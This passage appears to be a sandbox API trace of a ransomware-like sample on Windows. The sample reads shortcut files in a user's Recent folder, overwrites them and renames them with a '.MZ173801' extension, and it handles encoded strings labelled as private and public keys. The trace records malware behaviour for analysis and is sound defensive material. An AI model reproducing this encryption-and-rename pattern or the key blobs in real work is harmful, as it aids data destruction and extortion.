lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.642] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x598 [0150.642] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.642] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x598, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x598, lpOverlapped=0x0) returned 1 [0150.643] CloseHandle (hObject=0x280) returned 1 [0150.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NnWEZGpZkAAsmio3W.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nnwezgpzkaasmio3w.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.644] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x598, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x598, lpOverlapped=0x0) returned 1 [0150.645] CloseHandle (hObject=0x280) returned 1 [0150.646] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NnWEZGpZkAAsmio3W.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nnwezgpzkaasmio3w.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NnWEZGpZkAAsmio3W.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nnwezgpzkaasmio3w.lnk.mz173801")) returned 1 [0150.646] GetCurrentThreadId () returned 0xab4 [0150.646] GetCurrentThreadId () returned 0xab4 [0150.646] GetCurrentThreadId () returned 0xab4 [0150.646] GetCurrentThreadId () returned 0xab4 [0150.646] GetCurrentThreadId () returned 0xab4 [0150.646] GetCurrentThreadId () returned 0xab4 [0150.647] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x598d8238, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x598d8238, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x598d8238, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nS7qCk1FY_m2n6d8o2.flv.lnk", cAlternateFileName="NS7QCK~1.LNK")) returned 1 [0150.647] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.647] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nS7qCk1FY_m2n6d8o2.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ns7qck1fy_m2n6d8o2.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x598d8238, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x598d8238, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x598d8238, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x520)) returned 1 [0150.647] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nS7qCk1FY_m2n6d8o2.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ns7qck1fy_m2n6d8o2.flv.lnk")) returned 0x20 [0150.647] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nS7qCk1FY_m2n6d8o2.flv.lnk", dwFileAttributes=0x80) returned 1 [0150.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.650] GetCurrentThreadId () returned 0xab4 [0150.650] GetCurrentThreadId () returned 0xab4 [0150.650] GetCurrentThreadId () returned 0xab4 [0150.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.651] GetCurrentThreadId () returned 0xab4 [0150.651] GetCurrentThreadId () returned 0xab4 [0150.651] GetCurrentThreadId () returned 0xab4 [0150.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nS7qCk1FY_m2n6d8o2.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ns7qck1fy_m2n6d8o2.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.651] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.651] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.651] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x520 [0150.651] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.651] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x520, lpOverlapped=0x0) returned 1 [0150.652] CloseHandle (hObject=0x280) returned 1 [0150.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nS7qCk1FY_m2n6d8o2.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ns7qck1fy_m2n6d8o2.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.653] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x520, lpOverlapped=0x0) returned 1 [0150.654] CloseHandle (hObject=0x280) returned 1 [0150.655] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nS7qCk1FY_m2n6d8o2.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ns7qck1fy_m2n6d8o2.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nS7qCk1FY_m2n6d8o2.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ns7qck1fy_m2n6d8o2.flv.lnk.mz173801")) returned 1 [0150.839] GetCurrentThreadId () returned 0xab4 [0150.839] GetCurrentThreadId () returned 0xab4 [0150.839] GetCurrentThreadId () returned 0xab4 [0150.839] GetCurrentThreadId () returned 0xab4 [0150.839] GetCurrentThreadId () returned 0xab4 [0150.839] GetCurrentThreadId () returned 0xab4 [0150.839] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38d0f32, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf38d0f32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf38d0f32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3d3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nuPKgeB MAKEYlr.lnk", cAlternateFileName="NUPKGE~1.LNK")) returned 1 [0150.840] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.840] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nuPKgeB MAKEYlr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nupkgeb makeylr.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38d0f32, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf38d0f32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf38d0f32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3d3)) returned 1 [0150.840] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nuPKgeB MAKEYlr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nupkgeb makeylr.lnk")) returned 0x20 [0150.840] SetFileAttributesW 